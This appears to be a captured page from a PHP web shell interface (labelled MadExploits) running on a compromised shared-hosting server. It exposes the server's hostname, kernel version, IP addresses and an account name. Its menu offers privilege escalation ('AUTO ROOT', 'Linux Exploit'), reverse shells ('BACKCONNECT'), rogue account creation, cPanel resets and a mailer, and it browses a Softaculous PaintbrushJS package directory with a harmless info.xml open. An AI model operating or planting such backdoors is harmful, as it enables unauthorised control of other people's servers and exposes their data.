Linux premium155.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
LiteSpeed
: 162.0.235.200 | : 18.191.154.132
Cant Read [ /etc/named.conf ]
7.4.33
varifktc
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
softaculous /
paintbrushjs /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
php53
[ DIR ]
drwxr-xr-x
php56
[ DIR ]
drwxr-xr-x
php71
[ DIR ]
drwxr-xr-x
php81
[ DIR ]
drwxr-xr-x
fileindex.php
47
B
-rw-r--r--
info.xml
1.37
KB
-rw-r--r--
install.php
6.17
KB
-rw-r--r--
install.xml
98
B
-rw-r--r--
md5
628
B
-rw-r--r--
packageindex.php
29
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : info.xml
<?xml version="1.0" encoding="utf-8"?><soft xmlns="http://www.softaculous.com"> <overview> <img src="logo.gif" style="float:right;margin:8px;" alt="" />{{overview}} </overview> <features> {{features}} </features> <demo> http://mezzoblue.github.com/PaintbrushJS/ </demo> <ratings> http://www.softaculous.com/softwares/javascripts/libraries/PaintbrushJS </ratings> <space> 1797966 </space> <support> https://github.com/mezzoblue/PaintbrushJS </support> <version> 0.3 </version> <mod>1</mod> <mod_files>5</mod_files> <softversion> 2.8 </softversion> <languages> <english-overview> <font size="5" color="#182e7a">PaintbrushJS</font> is a lightweight browser-based image processing library built with Javascript and canvas. <br /><br /> PaintbrushJS is licensed under the <a href="http://www.opensource.org/licenses/mit-license.php">MIT License</a>. </english-overview> <english-features> You use it by applying a class to an element on the page and setting a few parameters with some extra <span class="caps">HTML</span> attributes. If the element is an <code>img</code> or it has a <code>background-image</code> set in your <span class="caps">CSS</span>, PaintbrushJS will create a temporary <code>canvas</code> element and manipulate the image there, before finally saving it back out to the original element. </english-features> </languages> </soft>
Close